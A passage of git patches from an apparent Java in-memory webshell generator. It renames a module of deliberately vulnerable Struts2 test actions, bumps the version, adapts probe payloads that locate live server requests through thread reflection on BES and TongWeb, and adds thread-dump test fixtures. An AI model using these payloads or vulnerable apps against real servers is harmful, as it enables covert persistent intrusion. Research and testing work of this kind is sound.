-org.apache.struts2.interceptor.validation.AnnotationValidationInterceptor -org.apache.tomcat.util.net.Acceptor -org.apache.tomcat.util.net.NioEndpoint -org.apache.tomcat.util.net.NioEndpoint$Poller -org.apache.tomcat.util.net.NioEndpoint$SocketProcessor -org.apache.tomcat.util.net.SocketProcessorBase -org.apache.tomcat.util.threads.TaskQueue -org.apache.tomcat.util.threads.TaskThread$WrappingRunnable -org.apache.tomcat.util.threads.ThreadPoolExecutor -org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker diff --git a/mise.toml b/mise.toml new file mode 100644 index 00000000..a4527e78 --- /dev/null +++ b/mise.toml @@ -0,0 +1,2 @@ +[tools] +java = "temurin-17.0.17+10" diff --git a/settings.gradle.kts b/settings.gradle.kts index 8673ebbd..585af9ed 100644 --- a/settings.gradle.kts +++ b/settings.gradle.kts @@ -37,7 +37,7 @@ include("vul:vul-webapp") include("vul:vul-webapp-jakarta") include("vul:vul-webapp-expression") include("vul:vul-webapp-deserialize") -include("vul:vul-struct2") +include("vul:vul-struts2") include("vul:vul-springboot1") include("vul:vul-springboot2") include("vul:vul-springboot2-jetty") diff --git a/vul/vul-struct2/build.gradle.kts b/vul/vul-struts2/build.gradle.kts similarity index 100% rename from vul/vul-struct2/build.gradle.kts rename to vul/vul-struts2/build.gradle.kts diff --git a/vul/vul-struct2/src/main/java/Base64ClassLoaderAction.java b/vul/vul-struts2/src/main/java/Base64ClassLoaderAction.java similarity index 100% rename from vul/vul-struct2/src/main/java/Base64ClassLoaderAction.java rename to vul/vul-struts2/src/main/java/Base64ClassLoaderAction.java diff --git a/vul/vul-struct2/src/main/java/BigIntegerClassLoaderAction.java b/vul/vul-struts2/src/main/java/BigIntegerClassLoaderAction.java similarity index 100% rename from vul/vul-struct2/src/main/java/BigIntegerClassLoaderAction.java rename to vul/vul-struts2/src/main/java/BigIntegerClassLoaderAction.java diff --git a/vul/vul-struct2/src/main/java/JavaReadObjAction.java b/vul/vul-struts2/src/main/java/JavaReadObjAction.java similarity index 100% rename from vul/vul-struct2/src/main/java/JavaReadObjAction.java rename to vul/vul-struts2/src/main/java/JavaReadObjAction.java diff --git a/vul/vul-struct2/src/main/java/ScriptEngineAction.java b/vul/vul-struts2/src/main/java/ScriptEngineAction.java similarity index 100% rename from vul/vul-struct2/src/main/java/ScriptEngineAction.java rename to vul/vul-struts2/src/main/java/ScriptEngineAction.java diff --git a/vul/vul-struct2/src/main/java/TestAction.java b/vul/vul-struts2/src/main/java/TestAction.java similarity index 100% rename from vul/vul-struct2/src/main/java/TestAction.java rename to vul/vul-struts2/src/main/java/TestAction.java diff --git a/vul/vul-struct2/src/main/java/UploadAction.java b/vul/vul-struts2/src/main/java/UploadAction.java similarity index 100% rename from vul/vul-struct2/src/main/java/UploadAction.java rename to vul/vul-struts2/src/main/java/UploadAction.java diff --git a/vul/vul-struct2/src/main/resources/struts.xml b/vul/vul-struts2/src/main/resources/struts.xml similarity index 100% rename from vul/vul-struct2/src/main/resources/struts.xml rename to vul/vul-struts2/src/main/resources/struts.xml diff --git a/vul/vul-struct2/src/main/webapp/WEB-INF/web.xml b/vul/vul-struts2/src/main/webapp/WEB-INF/web.xml similarity index 100% rename from vul/vul-struct2/src/main/webapp/WEB-INF/web.xml rename to vul/vul-struts2/src/main/webapp/WEB-INF/web.xml diff --git a/vul/vul-struct2/src/main/webapp/index.html b/vul/vul-struts2/src/main/webapp/index.html similarity index 100% rename from vul/vul-struct2/src/main/webapp/index.html rename to vul/vul-struts2/src/main/webapp/index.html diff --git a/web/content/docs/changelog.mdx b/web/content/docs/changelog.mdx index b5d74595..bfea7f4e 100644 --- a/web/content/docs/changelog.mdx +++ b/web/content/docs/changelog.mdx @@ -141,7 +141,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Added 1. 支持 Suo5 V2 版本内存马生成([#118](https://github.com/ReaJason/MemShellParty/issues/118) By @ReaJason Thanks @zema1) -2. 支持 Struct2 Action 内存马与回显马生成 +2. 支持 Struts2 Action 内存马与回显马生成 ### Changed diff --git a/web/content/docs/custom-memshell.mdx b/web/content/docs/custom-memshell.mdx index c58595ea..5181f6be 100644 --- a/web/content/docs/custom-memshell.mdx +++ b/web/content/docs/custom-memshell.mdx @@ -48,7 +48,7 @@ inject(context, shell); | (Undertow)AgentServletHandler | [GodzillaUndertowServletHandler](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java) | | (Jetty)Handler | [GodzillaJettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java) | | (Jetty)Customizer | [GodzillaJettyCustomizer](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyCustomizer.java) | -| (Struct2)Action | [GodzillaStruct2Action](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaStruct2Action.java) | +| (Struts2)Action | [GodzillaStruts2Action](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaStruts2Action.java) | | (Tomcat)Upgrade | [CommandUpgrade](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUpgrade.java) | ### 参考步骤 diff --git a/web/content/docs/memshell-core-config.mdx b/web/content/docs/memshell-core-config.mdx index c7bf0388..8b151157 100644 --- a/web/content/docs/memshell-core-config.mdx +++ b/web/content/docs/memshell-core-config.mdx @@ -26,7 +26,7 @@ description: 了解和使用那些可能用到的一键开关 - [x] SpringWebMvc - [x] SpringWebFlux - [x] XXLJOB -- [x] Struct2 +- [x] Struts2 ### 服务版本 diff --git a/web/content/docs/meta.json b/web/content/docs/meta.json index 01621ba1..eee8a7ed 100644 --- a/web/content/docs/meta.json +++ b/web/content/docs/meta.json @@ -11,7 +11,7 @@ "memshell-core-config", "servlet", "springweb", - "struct2-shell", + "struts2-shell", "middleware", "shelltool", "agent-shell", diff --git a/web/content/docs/resbody/meta.json b/web/content/docs/resbody/meta.json index 4672f8a2..b9349985 100644 --- a/web/content/docs/resbody/meta.json +++ b/web/content/docs/resbody/meta.json @@ -11,6 +11,6 @@ "tongweb", "apusic", "springwebmvc", - "struct2" + "struts2" ] } diff --git a/web/content/docs/resbody/struct2.mdx b/web/content/docs/resbody/struct2.mdx deleted file mode 100644 index fef4a2a8..00000000 --- a/web/content/docs/resbody/struct2.mdx +++ /dev/null @@ -1,5 +0,0 @@ ---- -title: Struct2 ---- - -WIP diff --git a/web/content/docs/resbody/struts2.mdx b/web/content/docs/resbody/struts2.mdx new file mode 100644 index 00000000..14a05cea --- /dev/null +++ b/web/content/docs/resbody/struts2.mdx @@ -0,0 +1,5 @@ +--- +title: Struts2 +--- + +WIP diff --git a/web/content/docs/struct2-shell.mdx b/web/content/docs/struct2-shell.mdx deleted file mode 100644 index 1e646c34..00000000 --- a/web/content/docs/struct2-shell.mdx +++ /dev/null @@ -1,5 +0,0 @@ ---- -title: Struct2 框架内存马 ---- - -## Action 内存马 diff --git a/web/content/docs/struts2-shell.mdx b/web/content/docs/struts2-shell.mdx new file mode 100644 index 00000000..a5342f7a --- /dev/null +++ b/web/content/docs/struts2-shell.mdx @@ -0,0 +1,5 @@ +--- +title: Struts2 框架内存马 +--- + +## Action 内存马 From 60de334b8eb6b93933bf0b50b79157ffc98e1588 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sun, 24 May 2026 12:33:59 +0800 Subject: [PATCH 2/9] chore: 2.7.1-SNAPSHOT --- build.gradle.kts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/build.gradle.kts b/build.gradle.kts index 2df8e74c..70e482fb 100644 --- a/build.gradle.kts +++ b/build.gradle.kts @@ -9,7 +9,7 @@ idea { } } -version = "2.7.0" +version = "2.7.1-SNAPSHOT" tasks.register("publishAllToMavenCentral") { dependsOn(":memshell-party-common:publishToMavenCentral") From 208ef4be7c87d61025b9246190442d4a5fa4304f Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sun, 24 May 2026 20:01:42 +0800 Subject: [PATCH 3/9] fix: bes11 probe failed --- .../main/java/com/reajason/javaweb/memshell/server/Bes.java | 3 +++ .../javaweb/probe/payload/response/TomcatWriter.java | 6 +++++- 2 files changed, 8 insertions(+), 1 deletion(-) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/Bes.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/Bes.java index 5a140ada..b990b563 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/Bes.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/Bes.java @@ -19,8 +19,11 @@ public Class getListenerInterceptor() { public InjectorMapping getShellInjectorMapping() { return InjectorMapping.builder() .addInjector(LISTENER, BesListenerInjector.class) + .addInjector(JAKARTA_LISTENER, BesListenerInjector.class) .addInjector(FILTER, BesFilterInjector.class) + .addInjector(JAKARTA_FILTER, BesFilterInjector.class) .addInjector(VALVE, BesValveInjector.class) + .addInjector(JAKARTA_VALVE, BesValveInjector.class) .addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, BesContextValveAgentInjector.class) .build(); diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/TomcatWriter.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/TomcatWriter.java index 81db8a5f..57b078dd 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/TomcatWriter.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/TomcatWriter.java @@ -44,7 +44,11 @@ public TomcatWriter() { try { requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(target, "this$0"), "handler"), "global"); } catch (NoSuchFieldException ignored) { - continue; + try { + requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(target, "endpoint"), "handler"), "global"); + }catch (NoSuchFieldException ignored2) { + continue; + } } } else if (target.getClass().getName().contains("ThreadPool$ControlRunnable")) { // Tomcat5 http-8080-Processor23 <-> org.apache.tomcat.util.threads.ThreadPool$ControlRunnable From 1e12fbb9b26da6b301e1781d30ec30bdfb9f46f1 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sun, 24 May 2026 20:02:02 +0800 Subject: [PATCH 4/9] fix: tongweb 7.0.4.9 probe fail --- .../javaweb/probe/payload/response/TongWebWriter.java | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/TongWebWriter.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/TongWebWriter.java index 663ca463..89563100 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/TongWebWriter.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/TongWebWriter.java @@ -27,9 +27,15 @@ public TongWebWriter() { String threadName = thread.getName(); if (threadName.contains("Poller") // TongWeb6 || threadName.contains("Acceptor") // TongWeb7 + || threadName.contains("AsyncTimeout") // TongWeb 7.0.4.9 ) { try { - Object requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(poller, "this$0"), "handler"), "global"); + Object requestGroupInfo = null; + try { + requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(poller, "this$0"), "handler"), "global"); + } catch (NoSuchFieldException ignored1) { + requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(poller, "endpoint"), "handler"), "global"); + } List processors = (List) getFieldValue(requestGroupInfo, "processors"); for (Object processor : processors) { String workerThreadName = (String) getFieldValue(processor, "workerThreadName"); From 6dbb039153726f92d4327bd70e38b73505349f1b Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sun, 24 May 2026 20:02:30 +0800 Subject: [PATCH 5/9] test: add some basicInfo --- .../infos/Bes11ContainerTestBasicInfo.txt | 718 ++++++++ .../infos/Bes951ContainerTestBasicInfo.txt | 470 +++--- .../infos/Bes952ContainerTestBasicInfo.txt | 728 ++++++++ .../infos/Bes955ContainerTestBasicInfo.txt | 614 +++---- .../TongWeb6010ContainerTestBasicInfo.txt | 1220 ++++++++++++++ ... => TongWeb6070ContainerTestBasicInfo.txt} | 1259 +++++++------- .../TongWeb6158ContainerTestBasicInfo.txt | 1471 +++++++++++++++++ .../TongWeb7025ContainerTestBasicInfo.txt | 1092 ++++++++++++ ... => TongWeb7042ContainerTestBasicInfo.txt} | 848 +++++----- .../TongWeb7046ContainerTestBasicInfo.txt | 1115 +++++++++++++ .../TongWeb7049m4ContainerTestBasicInfo.txt | 1153 +++++++++++++ ... => TongWeb8062ContainerTestBasicInfo.txt} | 619 +++---- 12 files changed, 9451 insertions(+), 1856 deletions(-) create mode 100644 integration-test/src/test/resources/infos/Bes11ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/Bes952ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/TongWeb6010ContainerTestBasicInfo.txt rename integration-test/src/test/resources/infos/{TongWeb6ContainerTestBasicInfo.txt => TongWeb6070ContainerTestBasicInfo.txt} (82%) create mode 100644 integration-test/src/test/resources/infos/TongWeb6158ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/TongWeb7025ContainerTestBasicInfo.txt rename integration-test/src/test/resources/infos/{TongWeb7ContainerTestBasicInfo.txt => TongWeb7042ContainerTestBasicInfo.txt} (84%) create mode 100644 integration-test/src/test/resources/infos/TongWeb7046ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/TongWeb7049m4ContainerTestBasicInfo.txt rename integration-test/src/test/resources/infos/{TongWeb8ContainerTestBasicInfo.txt => TongWeb8062ContainerTestBasicInfo.txt} (86%) diff --git a/integration-test/src/test/resources/infos/Bes11ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Bes11ContainerTestBasicInfo.txt new file mode 100644 index 00000000..729d9e2f --- /dev/null +++ b/integration-test/src/test/resources/infos/Bes11ContainerTestBasicInfo.txt @@ -0,0 +1,718 @@ +# Generated At 2026-05-24 05:21:22 +SystemProps: +java.specification.version: 17 +com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToScan: log4j-web*.jar,log4j-taglib*.jar,log4javascript*.jar,slf4j-taglib*.jar +bes.useNaming: true +sun.jnu.encoding: UTF-8 +com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToSkip: bes-server-jpa-integration,jakarta.mail,bes-jdbcra,org.codehaus.woodstox.stax2-api,bes-web-glue,org.metatype.sxc.sxc-jaxb-core,besmq-ra,bes-webapp-compressor,derbyclient,bes-ejb-glue,bes-deployment,org.apache.xbean.xbean-reflect,bes-admin-command,org.apache.commons.commons-beanutils,org.apache.johnzon.johnzon,org.apache.openwebbeans.openwebbeans-ee-common,bes-connector-runtime,org.apache.commons.commons-codec,bes-ee-loader,org.codehaus.woodstox.woodstox-core-asl,org.apache.commons.commons-collections4,bes-config-remote-adapter,bes-descriptor,bes-server-internal,bes-logger,bes-webtier-util,bes-webtier-coyote,bes-webtier-jsp-api,bes-ee-integration,bes-engine,bootstrap,bes-jdbc-fastcp,bes-patch,commons-codec,org.apache.bval-core,jakartaee-api-endorsed,org.mozilla.rhino,bes-launcher,bes-server-api,org.apache.bval-jsr,xmpcore-,bes-server-jee-accessors,commons-beanutils,org.apache.myfaces.core.myfaces-api,org.apache.openwebbeans.openwebbeans-jsf,org.objectweb.howl.howl,bes-webtier-servlet-api,besmq-mgmt,org.apache.xbean.xbean-naming,bes-server-loader,jakartaee,org.apache.commons.commons-cli,org.apache.geronimo.specs.geronimo-osgi-locator,bes-distributed-session-core,org.apache.openwebbeans.openwebbeans-web,bes-webtier-jasper,bes-config-remote,bes-gmssl-adapter,org.apache.commons.commons-pool2,bes-config-serverbeans,bes-server-quartz-shade,org.apache.xbean.xbean-finder-shaded,bes-ee-myfaces-connector,commons-dbcp,commons-io,bes-server-client,bes-server-http,org.apache.openwebbeans.openwebbeans-ejb,org.codehaus.swizzle.swizzle-stream,bes-monitor,derby,commons-logging,bes-server-ejbd,bes-deployment-common,bes-config-parser,metadata-extractor,org.metatype.sxc.sxc-runtime,bes-logger-adapter,org.hsqldb.hsqldb,commons-collections,bes-jmx-remote,bes-cli-command,bes-command-api,bes-connector-transaction,org.eclipse.jdt.ecj,commons-digester,bes-server-core,bes-api,activation,commons-fileupload,org.apache.openwebbeans.openwebbeans-el22,besmq-client,org.eclipse.persistence.eclipselink,bes-ee-common,bes-server-javaagent,com.sun.xml.bind.jaxb,org.apache.openwebbeans.openwebbeans-impl,bes-license,org.apache.xbean.xbean-bundleutils,org.apache.commons.commons-logging,org.apache.openwebbeans.openwebbeans-spi,bes-engine-ha,org.slf4j.slf4j-jdk14,org.apache.openwebbeans.openwebbeans-ee,org.ow2.asm.asm-all,besmq-common,bes-websocket-api,org.apache.xbean.xbean-asm5-shaded,ant,commons-httpclient,jakarta.persistence,bes-webtier-el-api,bes-server-jee,mbean-annotation-api,bes-gmssl,bes-ee-mq-connector,bes-common-util,bes-server-rest,org.apache.commons.commons-digester,bes-websocket +com.bes.resource.ejb.leakDetect: false +bes.loader: bes-system +sun.arch.data.model: 64 +java.vendor.url: https://adoptium.net/ +sun.boot.library.path: /opt/java/openjdk/lib +com.bes.hostName: d7c39dda372c +sun.java.command: com.bes.enterprise.startup.ASMain -instancedir /opt/bes -verbose true -debug false start +jdk.debug: release +java.specification.vendor: Oracle Corporation +java.naming.factory.url.pkgs: com.bes.enterprise.naming:com.bes.enterprise.ejb.core.ivm.naming +java.version.date: 2026-04-21 +java.home: /opt/java/openjdk +jgroups.loader: "${bes.home}/lib/jgroups/*.jar" +javax.net.ssl.certificateKeyFile: /opt/bes/conf/security/key.pem +file.separator: / +javax.net.ssl.certificateChainFile: /opt/bes/conf/security/chain.pem +java.vm.compressedOopsMode: 32-bit +javax.net.ssl.certificateFile: /opt/bes/conf/security/cert.pem +line.separator: + +java.vm.specification.vendor: Oracle Corporation +java.specification.name: Java Platform API Specification +com.bes.instanceRoot: /opt/bes +jdbc.drivers: org.apache.derby.jdbc.ClientDriver +package.definition: sun.,java.,com.bes.enterprise.webtier.,com.bes.enterprise.web.crane.,com.bes.enterprise.web.jasper.,com.bes.enterprise.naming.,com.bes.enterprise.web. +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +com.bes.enterprise.ejb.configurator: com.bes.enterprise.ejb.BESEjbConfigurationFactory +java.runtime.version: 17.0.19+10 +user.name: root +java.security.policy: /opt/bes/conf/security/server.policy +com.bes.javaRoot: /opt/java/openjdk +file.encoding: UTF-8 +java.vendor.version: Temurin-17.0.19+10 +derby.system.home: /opt/bes +java.io.tmpdir: /tmp +java.version: 17.0.19 +java.vm.specification.name: Java Virtual Machine Specification +native.encoding: UTF-8 +java.library.path: /opt/bes/lib +java.vendor: Eclipse Adoptium +ANTLR_USE_DIRECT_CLASS_LOADING: true +java.specification.maintenance.version: 1 +java.rmi.server.randomIDs: true +xxx: xxx +sun.io.unicode.encoding: UnicodeLittle +com.bes.enterprise.embedder.source: ServerListener +bcs.loader: "${bes.home}/lib/bcs/*.jar" +hsqldb.reconfig_logging: false +bes.home: /opt/bes +com.bes.enterprise.startup.ExitOnInitFailure: true +javax.xml.stream.XMLInputFactory: com.bes.wstx.stax.WstxInputFactory +java.class.path: /opt/bes/patch/V11.0.0.3668.012.core.jar:/opt/bes/patch/V11.0.0.3668.009.core.jar:/opt/bes/patch/V11.0.0.3668.007.core.jar:/opt/bes/patch/V11.0.0.3668.005.core.jar:/opt/bes/patch/V11.0.0.3668.004.core.jar:/opt/bes/patch/V11.0.0.3668.001.core.jar:/opt/bes/lib/bootstrap/bes-gson.jar:/opt/bes/lib/bootstrap/bes-logger.jar:/opt/bes/lib/bootstrap/bes-common-core.jar:/opt/bes/lib/bootstrap/bes-gmssl.jar:/opt/bes/lib/bootstrap/bootstrap.jar:/opt/bes/lib/bootstrap/bes-httpcore5.jar:/opt/bes/lib/bootstrap/bes-config-parser.jar:/opt/bes/lib/bootstrap/bes-config-serverbeans.jar:/opt/bes/lib/bootstrap/bes-license.jar:/opt/bes/lib/bootstrap/bes-patch.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-logging.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.stax2-api.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-codec.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.woodstox-core-asl.jar +jakarta.security.jacc.PolicyConfigurationFactory.provider: com.bes.enterprise.ejb.core.security.JaccProvider$Factory +java.vm.vendor: Eclipse Adoptium +com.bes.enterprise.web.util.buf.StringCache.byte.enabled: true +bes.base: /opt/bes +user.timezone: Etc/UTC +com.bes.instanceName: server +java.vm.specification.version: 17 +os.name: Linux +sun.java.launcher: SUN_STANDARD +user.country: US +sun.cpu.endian: little +com.bes.enterprise.deployments.classpath: false +user.home: /root +user.language: en +com.bes.enterprise.ejb.core.security.JaccProvider: com.bes.enterprise.ejb.core.security.jacc.BasicJaccProvider +com.bes.verboseMode: true +com.bes.enterprise.deployments.classpath.filter.systemapps: false +java.awt.headless: true +package.access: sun.,com.bes.enterprise.webtier.,com.bes.enterprise.web.crane.,com.bes.enterprise.web.jasper.,com.bes.enterprise.web. +server.loader: +com.bes.enterprise.provider.default: com.bes.enterprise +java.naming.factory.initial: com.bes.jndi.CtxFactory +java.net.preferIPv4Stack: true +path.separator: : +java.security.egd: file:/dev/./urandom +common.loader: "${bes.base}/lib/*.jar","${bes.home}/lib/*.jar","${bes.home}/lib/3rd/*.jar","${bes.home}/modules/besmq/lib/client/*.jar","${bes.home}/modules/besmq/lib/admin/*.jar","${bes.home}/modules/besmq/lib/besmq-common.jar","${bes.home}/modules/besmq/lib/besmq-mss.jar" +os.version: 6.8.0-111-generic +java.runtime.name: OpenJDK Runtime Environment +org.apache.security.jacc.EJBMethodPermission.methodInterfaces: BusinessLocalHome,BusinessRemoteHome,BusinessRemote,BusinessLocal +com.bes.resource.leakDetect: false +bes.version: 11.0.0 +java.vm.name: OpenJDK 64-Bit Server VM +java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues +com.bes.installRoot: /opt/bes +com.bes.enterprise.deployment.hotdeploy.dir: /opt/bes/hotdeploy +user.dir: /opt/bes/conf +bval.in-container: true +os.arch: amd64 +shared.loader: "${bes.base}/lib/shared/classes","${bes.base}/lib/shared/*.jar","${bes.home}/lib/shared/classes","${bes.home}/lib/shared/*.jar" +java.util.logging.manager: com.bes.enterprise.server.logging.BESClassLoaderLogManager +java.vm.info: mixed mode, sharing +java.vm.version: 17.0.19+10 +java.class.version: 61.0 +com.bes.enterprise.log.outAndErrNotRedirect: false + +=========================================== + +ThreadStacks: +"AppServer-utility-2" #73 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2af69321 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.19/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.19/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.19/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@17.0.19/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.19/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.19/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.19/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.19/java.lang.Thread.run(Thread.java:840) + +"httpWorkerThread-8080-3" #75 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5fe3e3a + java.lang.Thread.State: WAITING + at java.base@17.0.19/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.19/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.19/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.19/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.19/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.19/java.lang.Thread.run(Thread.java:840) + +"Reference Handler" #2 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.19/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at java.base@17.0.19/java.lang.ref.Reference.processPendingReferences(Reference.java:253) + at java.base@17.0.19/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:215) + +"httpWorkerThread-1900-1" #68 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@79a606ab + java.lang.Thread.State: WAITING + at java.base@17.0.19/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.19/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.19/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.19/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.19/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.19/java.lang.Thread.run(Thread.java:840) + +"bes-deployment-scheduled-executor-thread." #92 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ca77621 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.19/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.19/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.19/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@17.0.19/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.19/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.19/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.19/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.19/java.lang.Thread.run(Thread.java:840) + +"main" #1 [WAITING] on com.bes.enterprise.server.builder.BesWebModule@3256970f + java.lang.Thread.State: WAITING + at java.base@17.0.19/java.lang.Object.wait(Native Method) + at java.base@17.0.19/java.lang.Object.wait(Object.java:338) + at com.bes.enterprise.server.builder.BesWebModule.await(BesWebModule.java:285) + at com.bes.enterprise.server.builder.BesWebModule.awaitForShutdown(BesWebModule.java:250) + at com.bes.enterprise.server.builder.BesWebModule.start(BesWebModule.java:241) + at java.base@17.0.19/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at java.base@17.0.19/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) + at java.base@17.0.19/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.base@17.0.19/java.lang.reflect.Method.invoke(Method.java:569) + at app//com.bes.enterprise.appserver.startup.Bootstrap.start(Bootstrap.java:519) + at 